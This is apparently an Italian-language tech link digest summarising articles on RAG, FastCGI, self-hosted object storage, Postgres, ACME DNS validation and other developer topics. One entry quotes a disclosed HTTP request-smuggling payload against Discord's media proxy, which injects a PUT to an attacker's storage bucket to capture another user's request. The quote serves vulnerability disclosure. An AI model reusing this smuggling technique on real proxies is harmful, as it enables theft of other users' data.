Idempotency Is Easy Until the Second Request Is Different. Deep dive nell'implementazione di idempotency nelle API HTTP.
Idempotency Is Easy Until the Second Request Is Different. Deep dive nell'implementazione di idempotency nelle API HTTP.
PageIndex usa un sistema agentico per trovare documenti rilevanti per rispondere a una query, rispetto al classico RAG basato su similarità semantica.
Traditional vector-based RAG relies on semantic similarity rather than true relevance. But similarity ≠ relevance — what we truly need in retrieval is relevance, and that requires reasoning. When working with professional documents that demand domain expertise and multi-step reasoning, similarity search often falls short.
Inspired by AlphaGo, we propose PageIndex — a vectorless, reasoning-based RAG system that builds a hierarchical tree index from long documents and uses LLMs to reason over that index for agentic, context-aware retrieval. It simulates how human experts navigate and extract knowledge from complex documents through tree search, enabling LLMs to think and reason their way to the most relevant document sections. PageIndex performs retrieval in two steps:
- Generate a “Table-of-Contents” tree structure index of documents
- Perform reasoning-based retrieval through tree search
FastCGI: 30 Years Old and Still the Better Protocol for Reverse Proxies. Andrew Ayer di SSLMate spiega in occasione del 30° anniversario di FastCGI come il protocollo sia per certi versi (e almeno in teoria) migliore di HTTP per la comunicazione tra reverse proxy e backend.
FastCGI is very usable today, and has been in production use at SSLMate for over 10 years. That said, using a vintage technology has some downsides. It was never updated to support WebSockets. The tooling is not as good. For example, curl has no way to make requests to a FastCGI server. It supports FTP, Gopher, and even SMTP (however that works), but not FastCGI. When I benchmarked Go's FastCGI server behind a variety of reverse proxies, some workloads had worse throughput compared to HTTP/1.1 or HTTP/2. I don't think that's inherent to the protocol, but a reflection that FastCGI code paths have not been optimized as much as HTTP.
USB Cheat Sheet. Visto che gli standard USB sono confusionari e le cose cambiano nome ogni tanto.
HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:
I sent the following request to the media proxy:
GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1 Host: media.discordapp.netWhich caused the backend to send out these two requests to GCP:
GET /attachments/ HTTP/1.1 Host:xPUT /request.txt HTTP/1.1 Host:myevilbucket.storage.googleapis.com Content-Length:250 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0 Host: discord.storage.googleapis.comThe PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.
And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]
Healthchecks.io Now Uses Self-hosted Object Storage. Il maestro del self-hosting ora self-hosta anche uno storage S3-compatible, basato sul file system:
Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.
Il tradeoff è l'assenza di HA e replicazione:
With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.
E costa di più:
The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.
Keeping a Postgres queue healthy. Il titolo nasconde un approfondimento sul funzionamento del vaccum in relazione alle tuple eliminate in PostgreSQL.
Firn is a high-performance, multi-tenant vector and full-text search engine backed by object storage (S3 / MinIO / R2 / GCS). It is designed as a credible open-source alternative to turbopuffer, proving that a professional-grade tiered storage architecture (RAM → NVMe → S3) is achievable entirely from open-source components. The cost efficiency of S3 with the speed of local RAM. A multi-tenant vector and full-text search engine backed by S3. Built with LanceDB and Foyer for microsecond-scale search latency on top of object storage.
Come sta Satispay dopo aver raccolto mezzo miliardo? Giulio Michelon riassume la storia di Satispay, che è on track per diventare profitable dopo un decennio e mezzo miliardo di investimenti, in grossa parte grazie alle nuove feature di welfare aziendale (buoni pasto e acquisto).
Cogito.md è un nuovo editor Markdown nativo per macOS, fatto da Fabrizio Rinaldi.
Interessante anche Tolaria.md (lancio a breve):
Sad Story Of My Google Workspace account suspension. Quando qualcosa va storto con Google, le storie sono tutte uguali e sembra di parlare con un muro. In questo caso dopo aver fatto delle modifiche alle impostazioni di sicurezza l'account è stato sospeso e i sistemi di recupero non funzionavano o richiedevano un'attesa di 30 giorni (per un'email di lavoro che nel frattempo non può ricevere email).
abtest.design raccoglie i risultati di A/B test reali di applicazioni reali.
Andamento ANNCSU è un progetto di monitoraggio e visualizzazione del database ANNCSU con la lista dei numeri civici di tutti i comuni italiani e relativa posizione geografica. Dato che la copertura è al momento molto incompleta e solo poco superiore al 50%, la pagina permette di confrontare i progressi mensili del dataset, che in realtà sono stati significativi ultimamente.
unMTA è un nuovo servizio di invio email (transazionali/massive) che usa un modello che si vede raramente nel settore, cioè infrastruttura dedicata con invii illimitati e senza pagamento a consumo per messaggio. Ha ovviamente senso solo per volumi elevati (>500k al mese) ma è altrimenti interessante. Startup USA. Più contesto qui.
Windows Native App Development Is a Mess. Riassuntone dello stato attuale dello sviluppo nativo su Windows, ora culminato nell'SDK Windows App che permette di usare le API moderne anche con applicazioni tradizionali Windows Forms/WPF, oppure in WinUI 3, il successore di WinRT/UWP. L'SDK e WinUI 3 non sembrano però in ottimo stato e per molte cose bisogna ricorrere alle system call Win32.
Notably, l'autore dell'articolo è Domenic Denicola, che è stato ingegnere del team Google Chrome per 11 anni ma che ora si già ritirato dal lavoro (retribuito), a circa 40 anni da quel che si intuisce.
Delve - Fake Compliance as a Service - Part I. Lungo articolo (anonimo) su come una delle più note startup per semplificare la compliance produca certificati senza effettive verifiche di conformità e usando template generici. Parliamo ad esempio di SOC 2 (standard americano) e ISO 27001 (più diffuso in Europa). Ci sono cascate anche aziende come Lovable. Per non farsi mancare nulla hanno lasciato un bucket di storage aperto leakando ulteriori dati. Forse anche a conferma della molto relativa utilità dello standard SOC 2, ormai usato più come bollino per permettere ai clienti enterprise di spuntare una checkbox, che come effettiva garanzia di misure di sicurezza adeguate.
DNS-PERSIST-01: A New Model for DNS-based Challenge Validation. C'è un nuovo tipo di challenge di autorizzazione nel protocollo ACME per l'emissione e rinnovo dei certificati TLS. Permette di verificare la proprietà di un dominio con un record DNS persistente, da impostare una volta con validità infinita. Normalmente si usa un record TXT _acme-challenge con un token con validità associata all'ordine del certificato. Il nuovo metodo dns-persist-01 permette invece di autorizzare uno specifico account ACME, opzionalmente con una data di scadenza:
_validation-persist.example.com. IN TXT (
"letsencrypt.org;"
" accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1234567890"
)
Scaling Postgres connections with PgBouncer. Mega-tutorial di PlanetScale su come usare PgBouncer, il connection pooler per PostgreSQL.
Ente Paste è un servizio di condivisione di testo end-to-end encrypted. Il destinatario può vedere il testo decriptato solo una volta ed entro 24 ore. Utile per condividere chiavi segrete, ecc.
L'URL condivisibile (es. https://paste.ente.io/QTPD2AV2QE#3xLlEBKwnlCZ) contiene l'ID del paste (QTPD2AV2QE) e la chiave (3xLlEBKwnlCZ) per decifrare il testo. Il server non vede la chiave perché è un hash fragment/anchor: tutto quello che viene dopo il cancelletto non viene mai inviato al server dai browser.
Una volta aperta la pagina il testo cifrato viene eliminato dal server:
MapFight è uno strumento per confrontare la dimensione reale dei paesi del mondo senza le distorsioni della proiezione di Mercatore.